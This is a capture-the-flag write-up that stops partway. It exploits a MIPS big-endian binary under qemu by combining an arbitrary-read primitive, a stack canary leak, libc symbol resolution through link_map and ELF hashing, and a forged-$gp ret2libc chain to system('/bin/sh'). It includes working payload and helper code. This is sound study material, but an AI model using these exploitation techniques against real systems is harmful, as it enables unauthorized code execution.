b'4'..b'9' -> there is no spoon.
b'-1' -> there is no spoon.let’s test option 1
Hmm, option 1 is an arbitrary read.. It seems to take address and prints eight hex digits, so this is arbitrary 4-byte read and it seems like it’s unlimited uses and doesn’t cost us any session
if we do scan(leak+4) then it seems to give this 10000400 value which is somewhat identical on all connections
if we use bad address (example: 0x1000) then the process just gets killed
Option 2? you send anything and the process just simply gets killed . Send any amounts of bytes? nothing — killed.
Before chasing that, I decided to collect 20 residual self image leaks across 20 connections:
0xd60dc4 0xd39dc4 0x13badc4 0x14d7dc4 0x1460dc4
0x1299dc4 0x1617dc4 0xe58dc4 0x105ddc4 0xa0adc4
0x11bedc4 0xe04dc4 0xba1dc4 0x1264dc4 0x10e4dc4
0x9d6dc4 0x95bdc4 0x107edc4 0x842dc4 0x131edc4you notice something familiar, right? every single one ends in dc4! the low 12 bits are constant, the rest is randomized. That looks like the signature of a pointer into ASLR mapping, the page offset is fixed by the program’s layout, the page itself moves. Range is roughly 0x8_0000 → 0x162_0000 i.e. 8–23mb centered around 16mb
since inputting data causes death then then length of data should probably matter? let’s try sweeping the entire thing
len 1 EOF 0.096s len 63 ALIVE >8s
len 2 EOF 0.096s len 64 ALIVE >8s
len 4 EOF 0.096s len 65 ALIVE >8s
len 16 EOF 0.096s len 100 ALIVE >8s
len 31 EOF 0.096s len 128 ALIVE >8s
len 32 EOF 0.096s len 256 ALIVE >8s
len 33 EOF 0.096s len 1024 ALIVE >8s
len 65536 ALIVE >8slet’s try sweep between 33–66
len 30 EOF 0.096s
len 32 EOF 0.096s
len 34 EOF 0.096s
len 36 EOF 0.096s
len 38 EOF 0.096s
len 40 EOF 0.096s
len 42 EOF 0.096s
len 44 EOF 0.096s
len 46 EOF 0.096s
len 48 ALIVE <-- boundary
len 50 ALIVE
...
len 62 ALIVEthe boundary seems to be between 46–48 bytes (+1 for newline so 47/49 bytes delivered). read that again in the other direction and it snaps into focus:
- ≤ 47 bytes — the write fits, the function returns normally, and the program exits by design —
sendis a one-shot,mainreturns after it. that’s the 0.096 EOF - ≥ 48 bytes — you smashed something 48 bytes pat the buffer start. then the program calls
__stack_chk_fail→abort(). Underqemu-usera fatal signal doesn’t cleanly close the socket, so that’s why it it looks like a hang
so it’s a 48 byte buffer, followed by a stack canary. And critcally- the program hands me the address of that buffer in the banner. If the canary is at buffer+0x30 then that means scan(leak+0x30 will read the canary
Each scan costs two round trips ( 1\n → address? → <addr>\n → result), about 0.35s. I we want to dump anything meaningful then we need to find a way to do it faster, so I decided to pipeline several requests into one write:
payload = b''.join(b'1\n' + hex(a).encode() + b'\n' for a in addrs)
r.send(payload)address? 00000000
[1] scan [2] send [3] exit
> there is no spoon.
[1] scan [2] send [3] exit
> there is no spoon.first scan works but the rest gets eaten and misparsed. so pipelining doesn’t work
I think parallelism would work though.. maybe I’ll use it later
What architecture is this even??
I still had no idea what I was attacking. Time to just inspect the memory. I decided to walk page-aligned addresses around the leak and printed the first word of each page, maybe something useful will appear?
k= +43 0x00f98000 63757272
k= +44 0x00f99000 4c455445
k= +45 0x00f9a000 5f747970
k= +46 0x00f9b000 696e746fDecode those bytes and you will get:
63 75 72 72 -> "curr"
4c 45 54 45 -> "LETE"
5f 74 79 70 -> "_typ"
69 6e 74 6f -> "into"This is readable ascii! On a little-endian target, a word containing curr would print as 72727563 . So the target is probably big-endian
And then from the same sweep:
0x0111f000 1000fe29 b .-0x75c
0x01120000 8fd90090 lw $t9, 0x90($fp)
0x01121000 afb500c4 sw $s5, 0xc4($sp)
0x01123000 006001f4 ...
0x01124000 8f848164 lw $a0, -0x7e9c($gp)
0x01125000 00001025 move $v0, $zero
0x01127000 04400006 bltz $v0, ...
0x01128000 00832021 addu $a0, $a0, $v1
0x0112a000 03c02025 move $a0, $fp
0x0112b000 2486006c addiu $a2, $a0, 0x6c
0x0112c000 3c1c001b lui $gp, 0x1b
0x0112d000 8e020004 lw $v0, 4($s0)These look like opcodes from some architecture.. Oh wait, it’s MIPS!!
Earlier, before I understood about the endianness I decided to dump a contiguous run at leak+0xb000 and found this very regular 16-byte structure:
+00b010: 00007b50 0007c4f0 0000002c 1200000b
+00b020: 000040b6 0007a7d0 0000023c 2200000b
+00b030: 000006bb 0018cea8 00000048 1200000b
+00b100: 00004ade 0014d57c 00000170 1200000b
+00b110: 00002031 001df3bc 00000080 11000016After doing some research, it is an Elf32_Sym array that hs st_name , st_value , st_size , then a word holding st_info / st_other / st_shndx . When I tried making the last word work as little-endian, I got absolutely useless nonsense instead:
LE reading of 0x1200000b : st_info = 0x0b (bind 0, type 11 — invalid)
st_shndx = 0x0012But when I tried big-endian:
BE reading of 0x1200000b : st_info = 0x12 = GLOBAL | FUNC ✔
st_other = 0x00 ✔
st_shndx = 0x000b = .text ✔
BE reading of 0x2200000b : st_info = 0x22 = WEAK | FUNC ✔
BE reading of 0x11000016 : st_info = 0x11 = GLOBAL | OBJECT ✔
st_shndx = 0x0016 = a data section ✔Every field lands exactly where it should. I’d had the proof twenty minutes before I recognized it
AS of now, we can conclude that the architecture is 32-bit MIPS, big-endian, PIC/PIE, almost certainly under qemu-mips(?). We will confirm that later on.
After that, I decided to dump a lot of addresses around the leak.
leak = 0x17f1dc4
0x017f1d44: 00000000 009afffc 009909e8 017f1f0c 0030ff28 00310430 00b3d3a0 00cd8e30
0x017f1d64: 00000000 00000000 00000000 00000000 00cd0bc8 00cd8e30 009afffc 009909e8
0x017f1d84: 00990be8 00000000 00c86218 0000000a 00c85918 009b8010 00000000 0000000a
0x017f1da4: 00000001 017f1da8 30783137 66316462 340a0000 00000000 00000000 00000000
0x017f1dc4: 00000000 10000400 00000000 00000000 00000000 00000000 00000000 00000000 <-- LEAK
0x017f1de4: 00000000 00000000 00000000 00cd8e30 001d448a 009afffc 00b11bf4 00000000
...
0x017f1f04: 017f1fd9 00000000 017f1fe4 00000000 00000003 00990034 00000004 00000020
0x017f1f24: 00000005 0000000b 00000006 00001000 00000007 002d0000 00000008 00000000
0x017f1f44: 00000009 00990770 0000000b 000003e8 0000000c 000003e8 0000000d 000003e8
0x017f1f64: 0000000e 000003e8 00000010 00000000 00000011 00000064 00000019 017f1fb0
0x017f1f84: 00000017 00000000 0000001f 017f1fed 00000018 017f1fcd 00000000 00000000
0x017f1fa4: 00000000 00000000 00000000 0f1d448a f63aa44f dc07ebc3 5be26b42 00000000
0x017f1fc4: 00000000 00000000 006d6970 73333272 32000000 002f6374 662f6368 616c6c00
0x017f1fe4: 5057443d 2f617070 002f6374 662f6368 616c6c00 00000000 00000000 ????????
DIED at 0x17f2000I noticed three things that jump out:
First, at 0x017f1da8: 30783137 66316462 340a = 0x17f1db4\n. That’s the
address string I typed a moment earlier, sitting in a buffer. So this is the
stack, and that’s the menu input buffer.
Second, 0x017f1f14 onwards is textbook auxv— key/value pairs:
key val meaning
--- ----------- ---------------------------------------------
3 0x00990034 AT_PHDR -> program headers
4 0x00000020 AT_PHENT = 32 (sizeof Elf32_Phdr) ✔ 32-bit
5 0x0000000b AT_PHNUM = 11
6 0x00001000 AT_PAGESZ
7 0x002d0000 AT_BASE -> ld.so base
8 0x00000000 AT_FLAGS
9 0x00990770 AT_ENTRY
0xb 0x000003e8 AT_UID = 1000
0xc 0x000003e8 AT_EUID
0xd/0xe 0x3e8 AT_GID / AT_EGID
0x10 0x00000000 AT_HWCAP
0x11 0x00000064 AT_CLKTCK = 100
0x19 0x017f1fb0 AT_RANDOM -> the 16 random bytes at 0x17f1fb0
0x17 0x00000000 AT_SECURE
0x1f 0x017f1fed AT_EXECFN -> "/ctf/chall"
0x18 0x017f1fcd AT_PLATFORM -> "mips32r2"AT_PHDR = 0x00990034 and e_phoff for a normal ELF is 0x34, so the
binary’s load base is 0x00990000. AT_BASE = 0x002d0000 is the dynamic
linker. AT_PLATFORM = “mips32r2” confirms the architecture in plain text.
Third, the strings at the top: mips32r2 , /ctf/chall , PWD=/app . The environment is exactly one variable. And the read at 0x17f2000 died, so the stack ends at 0x17f2000.
The last one is quite useful:
stack_top = 0x17f2000
leak = 0x17f1dc4
-----------
difference = 0x23cleak = stack_top — 0x23c, which is exactly why the low 12 bits are
always 0xdc4. The whole auxv/env block sits at fixed offsets from the leak.
Concretely:
AT_PHDR value @ leak + 0x154
AT_BASE value @ leak + 0x174
AT_ENTRY value @ leak + 0x184NOTE: I burned real time testing whether leak-relative offsets
were stable in general. They weren’t — leak+0x6000 gave different data every connection, and absolute addresses like 0x00404000 were inconsistent too. I briefly concluded “everything is randomised independently, the leak is useless as an anchor.”
That conclusion was half right and it made me pessimistic for no reason. The truth is narrower and much more useful: the leak is a stack pointer, so
stack-relative offsets are rock solid, while offsets to *other mapping
(libc, ld.so, heap) are not — those get their own independent randomisation. Once I understood the leak was on the stack, the auxv gave me everything else anyway
On that connection, the base is 0x00990000. So maybe dumping it’s own memory would work? Let’s read the first 13 words:
0x00: 7f454c46 \x7fELF
0x04: 01020100 EI_CLASS=1 (32-bit), EI_DATA=2 (MSB/big-endian), version 1
0x10: 00030008 e_type=3 (ET_DYN -> PIE), e_machine=8 (EM_MIPS)
0x14: 00000001 e_version
0x18: 00000770 e_entry = 0x770
0x1c: 00000034 e_phoff = 0x34
0x20: 00010218 e_shoff = 0x10218
0x24: 70001007 e_flags
0x28: 00340020 e_ehsize=0x34, e_phentsize=0x20
0x2c: 000b0028 e_phnum=11, e_shentsize=0x28
0x30: 001e001d e_shnum=30, e_shstrndx=29ET_DYN + EM_MIP + EI_DATA=2 , cool.
File size is e_shoff + e_shnum*e_shentsize = 0x10218 + 30*0x28 = 0x106C8 = 67272 bytes. (When I finally got a shell, ls -la /ctf showed chall at
exactly 67272 bytes. Quite nice, I guess.)
But I don’t need the file — I need the mapped parts. Program headers show:
PT_PHDR off=0x000034 va=0x000034 fsz=0x000160 R
PT_INTERP off=0x000194 va=0x000194 fsz=0x00000d R -> "/lib/ld.so.1"
PT_MIPS_ABIFLAGS off=0x0001c8 va=0x0001c8 fsz=0x000018 R
PT_MIPS_REGINFO off=0x0001e0 va=0x0001e0 fsz=0x000018 R
PT_LOAD off=0x000000 va=0x000000 fsz=0x000f04 R-X <-- all the code
PT_LOAD off=0x00fff8 va=0x01fff8 fsz=0x000098 msz=0x0000a8 RW-
PT_DYNAMIC off=0x0001f8 va=0x0001f8 fsz=0x000128 R
PT_NOTE off=0x0001a4 va=0x0001a4 fsz=0x000020 R
PT_GNU_STACK fsz=0 RW- <-- NX stack
PT_GNU_RELRO off=0x00fff8 va=0x01fff8 fsz=0x000008 RThe executable segment is 0xf04 = 3844 bytes. That’s it. The whole program is under 4 KB of code and rodata; the other 63 KB of the file is symbols and section headers that never get mapped
class Worker:
def connect(self):
self.sess = Sess()
ph = self.sess.rd(self.sess.leak + 0x154)
if ph and (ph & 0xfff) == 0x34:
self.base = ph - 0x34
return True
def read_off(self, off):
for _ in range(3):
if self.sess.dead: self.connect()
v = self.sess.rd(self.base + off)
if v is not None: return vLet’s try parallelization on these leaks and read leak+0x154 to compute its own PIE base per worker, code snippet above. ^^
missing 0: []
text 3844 bytes, data 176 bytesNow I have the entire binary from all those dumps!
$ strings -n 4 text.bin
/lib/ld.so.1
printf alarm __cxa_finalize __libc_start_main __stack_chk_fail
setvbuf read atoi puts strtoul
stdin stderr stdout __stack_chk_guard
libc.so.6 ld.so.1
GLIBC_2.4 GLIBC_2.0 GLIBC_2.34 GLIBC_2.2
Wake up, Neo...
The Matrix has you.
residual self image: %p
Follow the white rabbit.
[1] scan [2] send [3] exit
address?
%08x
data?
...welcome to the real world.
there is no spoon.__stack_chk_fail and __stack_chk_guard in the import list — the canary theory earlier got confirmed in writing. GLIBC_2.34 tells me the libc is at least 2.34. And residual self image: %p means the leak is a plain %p of some pointer
Capstone, MIPS32, big-endian, skipdata=True because the file starts with the
ELF header rather than code:
md = Cs(CS_ARCH_MIPS, CS_MODE_MIPS32 | CS_MODE_BIG_ENDIAN)
md.skipdata = True_start at 0x770 sets up $gp the standard PIC way:
0770 03e00025 move $zero, $ra
0774 04110001 bal 0x77c
077c 3c1c0002 lui $gp, 2
0780 279c7894 addiu $gp, $gp, 0x7894
0784 039fe021 addu $gp, $gp, $ra ; $ra == 0x77c here$gp = 0x20000 + 0x7894 + 0x77c = 0x28010, so $gp = base + 0x28010. That
matches DT_PLTGOT (0x20020) + 0x7ff0, the MIPS convention. Everylw $x, -0x7fXX($gp) in the binary is a GOT slot, and now I can name them:
$gp — 0x7ff0 = base+0x20020 GOT[0] / DT_PLTGOT
$gp — 0x7fd8 = base+0x20038 module base (used to form string addresses)
$gp — 0x7fc4 = base+0x2004c atoi
$gp — 0x7fc0 = base+0x20050 stdin
$gp — 0x7fbc = base+0x20054 setvbuf
$gp — 0x7fb8 = base+0x20058 stdout
$gp — 0x7fb4 = base+0x2005c strtoul ← remember this one
$gp — 0x7fac = base+0x20064 puts
$gp — 0x7fa8 = base+0x20068 __stack_chk_fail
$gp — 0x7fa4 = base+0x2006c alarm
$gp — 0x7fa0 = base+0x20070 &__stack_chk_guard ← and this one
$gp — 0x7f9c = base+0x20074 stderr
$gp — 0x7f98 = base+0x20078 printf
$gp — 0x7f90 = base+0x20080 read
$gp — 0x7f8c = base+0x20084 __libc_start_mainmain is at 0x9e8:
09e8 3c1c0002 lui $gp, 2 ; $gp = 0x27628 + $t9
09ec 279c7628 addiu $gp, $gp, 0x7628
09f0 0399e021 addu $gp, $gp, $t9
09f4 27bdff88 addiu $sp, $sp, -0x78 ; 0x78-byte frame
09f8 afbf0074 sw $ra, 0x74($sp)
09fc afbe0070 sw $fp, 0x70($sp)
0a00 03a0f025 move $fp, $sp
0a04 afbc0010 sw $gp, 0x10($sp) ; PIC: $gp cached in the frame
0a08 8f828060 lw $v0, -0x7fa0($gp) ; &__stack_chk_guard
0a0c 8c420000 lw $v0, ($v0)
0a10 afc2006c sw $v0, 0x6c($fp) ; canary -> $fp+0x6c
0a20 0411ffaf bal 0x8e0 ; setup(): setvbuf x3, alarm(0x258)
0a2c … puts(base+0xe20) ; “Wake up, Neo…”
0a48 27c2003c addiu $v0, $fp, 0x3c ; <<<< THE LEAK
0a4c 00402825 move $a1, $v0
0a54 24440e44 addiu $a0, $v0, 0xe44 ; “residual self image: %p”
0a60 0320f809 jalr $t9 ; printf(fmt, $fp+0x3c)leak == $fp + 0x3c. The “residual self image” is a local buffer in main.alarm(0x258) = a 600-second session limit, which matters if you’re doing long scans.
The menu loop reads 23 bytes into $fp+0x24 and atois it. Option 1 (scan):
0bc8 27c20024 addiu $v0, $fp, 0x24
0bcc 00003025 move $a2, $zero
0bd0 00002825 move $a1, $zero
0bd4 00402025 move $a0, $v0 ; $a0 = $fp + 0x24
0bd8 8f82804c lw $v0, -0x7fb4($gp) ; strtoul
0bdc 0040c825 move $t9, $v0
0be0 0320f809 jalr $t9 ; strtoul(buf, 0, 0)
0bec afc20020 sw $v0, 0x20($fp)
0bf4 8c420000 lw $v0, ($v0) ; *** the arbitrary read ***
0c00 24440eb0 addiu $a0, $v0, 0xeb0 ; “%08x”
0c0c 0320f809 jalr $t9 ; printf(“%08x”, value)Note 0bc8. Hold that thought — it becomes the most important instruction in the whole exploit.
Option 2 (send), the bug:
0c4c 8f828028 lw $v0, -0x7fd8($gp)
0c50 24440eb8 addiu $a0, $v0, 0xeb8 ; “data? “
0c58 … printf
0c68 27c2003c addiu $v0, $fp, 0x3c ; buf = $fp + 0x3c (the leaked ptr)
0c6c 2406003c addiu $a2, $zero, 0x3c ; count = 0x3c = 60
0c70 00402825 move $a1, $v0
0c74 00002025 move $a0, $zero ; fd = 0
0c78 8f828070 lw $v0, -0x7f90($gp) ; read
0c80 0320f809 jalr $t9 ; read(0, $fp+0x3c, 0x3c)
0c88 8fdc0010 lw $gp, 0x10($fp) ; PIC: restore $gp from the frame
0c8c 10000017 b 0xcec ; -> straight to the epiloguAnd the epilogue:
0cec 00001025 move $v0, $zero
0cf0 00402025 move $a0, $v0
0cf4 8f828060 lw $v0, -0x7fa0($gp) ; &__stack_chk_guard
0cf8 8fc3006c lw $v1, 0x6c($fp) ; our canary slot
0cfc 8c420000 lw $v0, ($v0) ; the real guard value
0d00 10620005 beq $v1, $v0, 0xd18 ; match? -> return
0d08 … __stack_chk_fail
0d18 00801025 move $v0, $a0
0d1c 03c0e825 move $sp, $fp
0d20 8fbf0074 lw $ra, 0x74($sp)
0d24 8fbe0070 lw $fp, 0x70($sp)
0d28 27bd0078 addiu $sp, $sp, 0x78
0d2c 03e00008 jr $raThe frame, fully mapped
Everything relative to leak (=$fp + 0x3c):
addr size what
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
leak — 0x3c $sp / $fp of main
leak — 0x2c 4 saved $gp ($fp+0x10)
leak — 0x24 4 read() return value ($fp+0x18)
leak — 0x20 4 menu choice ($fp+0x1c)
leak — 0x1c 4 strtoul result ($fp+0x20)
leak — 0x18 23 menu input buffer ($fp+0x24)
leak + 0x00 48 “residual self image” buffer ($fp+0x3c) ← read() writes 60 here
leak + 0x30 4 stack canary ($fp+0x6c)
leak + 0x34 4 saved $fp ($fp+0x70)
leak + 0x38 4 saved $ra ($fp+0x74)
leak + 0x3c end of frame; $sp after main returns
…
leak + 0x154 4 AT_PHDR
leak + 0x23c top of stackread(0, buf, 0x3c) into a 48-byte buffer overflows by exactly 12 bytes:
canary, saved $fp, saved $ra. Nothing more, nothing less. And the canary is at leak + 0x30, which I can just read
The 46/48 boundary from earlier falls out exactly: byte 48 is the first byte of the canary
—-
Smallest possible test — leak the canary, put it back, and point $ra atmain+0x9f4 (after the $gp setup, since $gp is already correct on return):
canary = scan(leak + 0x30)
phdr = scan(leak + 0x154)
base = phdr — 0x34payload = b'A' * 0x30
payload += p32(canary) # canary
payload += p32(leak - 0x3c) # saved $fp
payload += p32(base + 0x9f4) # saved $ra
leak = 0x9a8dc4 ($fp+0x3c)
canary = 002db3ce
base = 0xa00000
=== output after overflow ===
Wake up, Neo…
The Matrix has you.
residual self image: 0x9a8dc4
Follow the white rabbit.
[1] scan [2] send [3] exit
> The banner printed a second time. Canary successfully bypassed,$ra under control. Same leak address, because I reused the same frame. 😂
That’s the halfway point. Now I need somewhere useful to return to.
— -
## 14. Finding libc without a filesystem
I need system.system is not imported by the binary, so I need libc’s base and then libc’s symbol table.
I could have scanned downwards from a GOT entry looking for \x7fELF, but that’s
hundreds of reads and any overshoot kills the session. Much better: the binary’s own .dynamic (already in my dump at va 0x1f8) has the debug rendezvous pointer. Let’s parse it offline:
DT_NEEDED 0xaf -> “libc.so.6”
DT_NEEDED 0xb9 -> “ld.so.1”
DT_INIT 0x728
DT_FINI 0xde0
DT_INIT_ARRAY 0x1fff8
DT_FINI_ARRAY 0x1fffc
DT_HASH 0x320
DT_STRTAB 0x538
DT_SYMTAB 0x3c8
DT_STRSZ 0x12f
DT_SYMENT 0x10
DT_MIPS_RLD_MAP_REL 0x1fdb0 <<<<
DT_DEBUG 0x0
DT_PLTGOT 0x20020
DT_MIPS_LOCAL_GOTNO 0xa
DT_MIPS_SYMTABNO 0x17
DT_MIPS_GOTSYM 0x6DT_MIPS_RLD_MAP_REL is MIPS-specific: the address of the r_debug pointer is
the address of that dynamic entry’s d_un field plus the value. It’s the 14th
entry (index 13), so:
entry_addr = 0x1f8 + 13*8 = 0x260
rld_map = 0x260 + 0x1fdb0 = 0x20010Then it’s the standard walk:
rdbg = scan(base + 0x20010) # -> struct r_debug *
lm = scan(rdbg + 4) # r_debug.r_map -> struct link_map *
while lm:
l_addr = scan(lm) # load bias
l_name = scan(lm + 4) # char *
lm = scan(lm + 12) # l_nextbinary base 0xce0000
r_debug 0x320a90
r_version 0x1
link_map 0x7d6000
l_addr=0x00ce0000 l_ld=0x00ce01f8 name=b’’
l_addr=0x009b0000 l_ld=0x009b0208 name=b’/lib/libc.so.6'
l_addr=0x002e0000 l_ld=0x002e0188 name=b’/lib/ld.so.1'libc base in about six reads, with its path spelled out. /lib/libc.so.6
rather than /lib/mips-linux-gnu/… — not a Debian multiarch layout, so this is a hand-built or buildroot-ish rootfs. Which also means “just download the matching libc” was never going to work, and I’d have to resolve symbols live
libc’s own .dynamic (read from memory at libc+0x208):
DT_HASH 0x00000318
DT_STRTAB 0x00011794
DT_SYMTAB 0x00004734
DT_STRSZ 0x00008fc5
DT_SYMENT 0x00000010
DT_PLTGOT 0x001e0e40
DT_MIPS_SYMTABNO 0x00000d06 (3334 symbols)
DT_VERSYM/VERDEF/VERNEED and its program headers:
ph4 PT_LOAD off=0x000000 va=0x000000 fsz=0x1c0e04 R-X (1.8 MB of code)
ph5 PT_LOAD off=0x1cd23c va=0x1dd23c fsz=0x00581c RW-1.8 MB of executable libc. Dumping that at 4 bytes a read is ~460,000 reads — completely out of the question. Whatever I do, it has to work **without ROP gadgets from libc. That constraint drove the rest of the solve.
No DT_GNU_HASH, but DT_HAS is there, so a classic SysV hash lookup works.
— -
def elf_hash(name):
h = 0
for c in name:
h = ((h << 4) + c) & 0xffffffff
g = h & 0xf0000000
if g: h ^= g >> 24
h &= ~g & 0xffffffff
return h
nbucket = rd(hash + 0) # 1023
nchain = rd(hash + 4)
idx = rd(hash + 8 + 4*(elf_hash(b'system') % nbucket))hash 0x7b0aabd bucket 866 -> idx 2592And then the process died. Every time. On the very first read of the symbol name
I chased this for a while assuming the address was unmapped, but the address was strtab + 0x7347 = 0x188adb — comfortably inside libc’s R-X segment. Then I looked at the last digit:
0x188adb
^ not 4-byte alignedscan performs a MIPSlw, and MIPS traps on unaligned word loads. It wasn’t a segfault from a bad address, it was a SIGBUS from a misaligned one. Every “unmapped” conclusion I’d drawn from a dead session was suspect from that moment on.
The fix is trivial once you see it — read aligned words and slice:
def rbytes(addr, n):
start = addr & ~3
end = (addr + n + 3) & ~3
buf = b’’.join(struct.pack(‘>I’, rd(a)) for a in range(start, end, 4))
return buf[addr — start : addr — start + n]With that, the hash chain walks cleanly:
idx=2592 b’setreui’ (setreuid — hash collision)
idx=1866 b’__isoc9' (__isoc99_… — another collision)
idx=1710 b’system’
*** system = libc+0x4eac8
first insns: 3c1c001a 279ca368 0399e021 27bdffe0 afbc0010 afbf001cSanity check on those instructions:
3c1c001a lui $gp, 0x1a
279ca368 addiu $gp, $gp, -0x5c98
0399e021 addu $gp, $gp, $t9 ← computes its own $gp FROM $t9
27bdffe0 addiu $sp, $sp, -0x20
afbc0010 sw $gp, 0x10($sp)
afbf001c sw $ra, 0x1c($sp)A real PIC function prologue. $t9 must equal the function’s own address when you call it, or its $gp comes out wrong and it crashes. That’s a MIPS-specific calling-convention requirement and it becomes free later, because the gadget I end up using does move $t9, $v0; jalr $t9.
system = libc + 0x4eac8
— -
MIPS ret2libc with no gadgets
Take stock. At the moment main doesjr $ra I control:
$ra = anything I want
$fp = anything I want
$sp = leak + 0x3c (fixed: $fp_main + 0x78)
$gp = correct (main’s epilogue never touches it)
$a0 = 0 (set by `move $a0, $v0` with $v0 = 0)
48 bytes of arbitrary data at a known address (leak .. leak+0x2f)and I want system(“/bin/sh”), which on MIPS o32 means $a0 = pointer to the string and $t9/PC = system
Problems, in order of annoyance 💀
$a0is 0. Returning straight tosystemcallssystem(NULL), which in glibc runs/bin/sh -c “exit 0”— useless- No ROP gadgets. The binary is 3844 bytes; libc is 1.8 MB and unsearchable at 4 bytes per read
- NX stack (
PT_GNU_STACKis RW), so no shellcode systemisn’t in the GOT, and there’s no/bin/shstring in the binary.
### The gadget that saves everything
Back to 0xbc, the scan branch’s call to strtoul:
0bc8 27c20024 addiu $v0, $fp, 0x24
0bcc 00003025 move $a2, $zero
0bd0 00002825 move $a1, $zero
0bd4 00402025 move $a0, $v0 ; $a0 = $fp + 0x24 ← I control $fp
0bd8 8f82804c lw $v0, -0x7fb4($gp) ; $t9 = M[$gp — 0x7fb4] ← I control $gp?
0bdc 0040c825 move $t9, $v0
0be0 0320f809 jalr $t9This is “call some function with $a0 = $fp + 0x24”. $f is mine, so $a0 is solved. The remaining question is $t9, which comes from a $gp-relative load.
The obvious move is to overwrite GOT[strtoul] with system. I went down that road and it’s a dead end
The better move is the one that makes this challenge fun:
Don’t change what’s at
GOT[strtoul]. Change where$gppoints
-0x7fb4($gp) is just a memory read. If I can make$gp be a valueX of my choosing, then the “GOT slot” it reads is X — 0x7fb4, and I can point that at
my own 48-byte buffer, which already contains whatever I want — including the address of system.
Where does
$gpcome from?
This is PIC code, so after every call $gp is reloaded from the frame:
0c88 8fdc0010 lw $gp, 0x10($fp)$gp := M[$fp + 0x10], and $fp is mine. So I control $gp completely, for free, as a side effect of the compiler’s own PIC boilerplate. That instruction appears all over the function; 0xc88 (right after send’s read) is the one I use.
### But the canary check also uses $gp
0cf4 lw $v0, -0x7fa0($gp) ; &__stack_chk_guard
0cf8 lw $v1, 0x6c($fp) ; my canary slot
0cfc lw $v0, ($v0) ; the guard value
0d00 beq $v1, $v0, 0xd18With a fake $gp this reads garbage and the check fails → __stack_chk_fail → dead. But look at the shape of it: it’s a double dereference of $gp — 0x7fa0compared against a word I control at $fp + 0x6c. Both sides are mine:
- put a pointer
qatX — 0x7fa0 - put the canary value at
q - put the canary value at
$fp + 0x6c
and the check passes with a completely fake $gp. I’m forging a__stack_chk_guard out of my own buffer.
So the layout constraint is: pick X so that X — 0x7fb4 and X-0x7fa0 both land in memory I control. Those are 0x14 apart. If system’s address sits atleak + 0x00, then:
X = leak + 0x7fb4
X — 0x7fb4 = leak + 0x00 -> &system
X — 0x7fa0 = leak + 0x14 -> pointer to the fake guard valueBoth inside the 48-byte buffer. No GOT write, no libc gadget, no shellcode.
Dead end: GOT overwrite
For the record, because I spent real time here. The plan was: return to 0xc68 (the read insend) with $fp = GOT_window — 0x3c, giving read(0, GOT, 60) — an arbitrary write straight into the GOT — then set GOT[strtoul] = system and walk back into the menu.
It dies on two things:
- 0xc88 does
lw $gp, 0x10($fp, and with$fp = W — 0x3cthat’sM[W — 0x2c]— a word in the RW segment I don’t control.$gpbecomes garbage right after the write, and every subsequent instruction in the binary is$gp-relative. - The epilogue then sets
$sp = $fp = W — 0x3c, i.e.$spinside the RW segment. Any function call from that point builds its frame on top of the GOT I just carefully wrote
You can almost rescue it (precompute the canary value for whatever garbage $gp turns out to be, then hop through 0xc88 with a stack $fp to restore$gp and$sp), and I sketched a four-round chain that does exactly that. But the fake-$gp trick makes all of it unnecessary — it gets the same effect with zero writes outside the stack. I dropped the GOT plan
Another Dead end: dumping libc for gadgets
Briefly considered dumping 128–256 KB of libc text and running a gadget search for something like addiu $a0, $sp, N ; lw $t9, M($sp) ; jalr $t9. At ~120 reads/sec with 40 workers that’s 5–10 minutes of hammering the box, and it needs libc’s base per connection (which I had). Viable, but rude and unnecessary once the fake-$gp idea landed. Never ran it.
— -
Chaining reads, and the 0x20-byte discovery
One send gives 60 bytes, of which 12 are canary/$fp/$ra — so 48 usable
bytes, and then main returns and the process exits. I need more than one write
to stage this, so: return to 0xc68, the read call inside send, and get
another 60 bytes with fresh $ra/$fp control. Repeat as needed.
First attempt, keeping the same frame ($fp = leak — 0x3c, so the write lands at leak again):
r1 sent -> alive, blocked in read() ✔
r2 sent -> nothing. dead. ✘Round 1 works — the jump to 0xc68 is fine and the process sits waiting inread(). Round 2 dies.
Why: after main’s epilogue, $sp = leak + 0x3c — which is above the buffer at leak. When read() is then called, its own stack frame is carved out below $sp, i.e. directly on top of the destination buffer. read saves
registers there, the kernel then writes my 60 bytes over them, and read’s
epilogue restores garbage. Instant death
So the write destination has to be at or above $sp, and the $gp reload slot
($fp + 0x10) has to survive read’s frame. I measured the frame size directly by sweeping $fp for round 2 and seeing which ones survived — success being “the banner prints again”:
$fp2 $gp slot distance below $sp dest result
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
leak + 0x00 leak + 0x10 0x2c leak + 0x3c BANNER (image 0x14fae00)
leak + 0x04 leak + 0x14 0x28 leak + 0x40 BANNER (image 0x1504e04)
leak + 0x08 leak + 0x18 0x24 leak + 0x44 BANNER (image 0x17e6e08)
leak + 0x0c leak + 0x1c 0x20 leak + 0x48 fail
leak — 0x04 leak + 0x0c 0x30 leak + 0x38 fail (dest below $sp)
leak — 0x08 leak + 0x08 0x34 leak + 0x34 fail (dest below $sp)The pattern is exact: read() writes precisely [$sp — 0x20, $sp). Anything0x24 or more below $sp survives; 0x20 below is destroyed. And the
destination must be >= $sp
The “image” values are a nice confirmation that I understood the frame maths — with $fp2 = leak, the re-entered main reports its buffer at leak + 0x3c, exactly as predicted; with a three-round chain it reported leak + 0x78
That gives a clean chaining rule:
round r: $fp_r = $sp_r — 0x3c (so dest == $sp exactly)
dest = $fp_r + 0x3c
$gp slot = $fp_r + 0x10 (= $sp_r — 0x2c, safely below read’s frame)
$sp_{r+1} = $fp_r + 0x78Frames march up the stack by 0x3c per round, and each round’s $gp slot lives inside the previous round’s window. Self-sustaining, I guess.
The three-round version that didn’t work
My first full design used three rounds and a final hop through 0xc88, mostly because I’d convinced myself the /bin/sh string had to go in the last window. It failed silently, and debugging it was miserable because a crashed process looks alive — so “alive” told me nothing.
What eventually cracked it was a differential test: run the identical chain
but swap the final target from system to something whose success is visible. More on that in a second. The three-round layout also had a structural problem I kept banging into: the last window always sits just below the final $sp, so any string in it gets eaten by system’s own frames. The two-round layout dodges it.
The two-round layout that did
Two rounds is enough, and it leaves room for a full /bin/sh instead of a
cramped 4-byte ”sh”.
X = leak + 0x7fb4 fake $gp
FP2 = leak + 0x08 round-2 frame -> dest = leak+0x44, $gp slot = leak+0x18
F2 = leak — 0x0c final frame -> $gp slot = leak+0x04, slots at leak+0x60/64/68Round 1 — main’s own send, window leak .. leak+0x3b. $sp isleak-0x3c here so the whole window is safe:
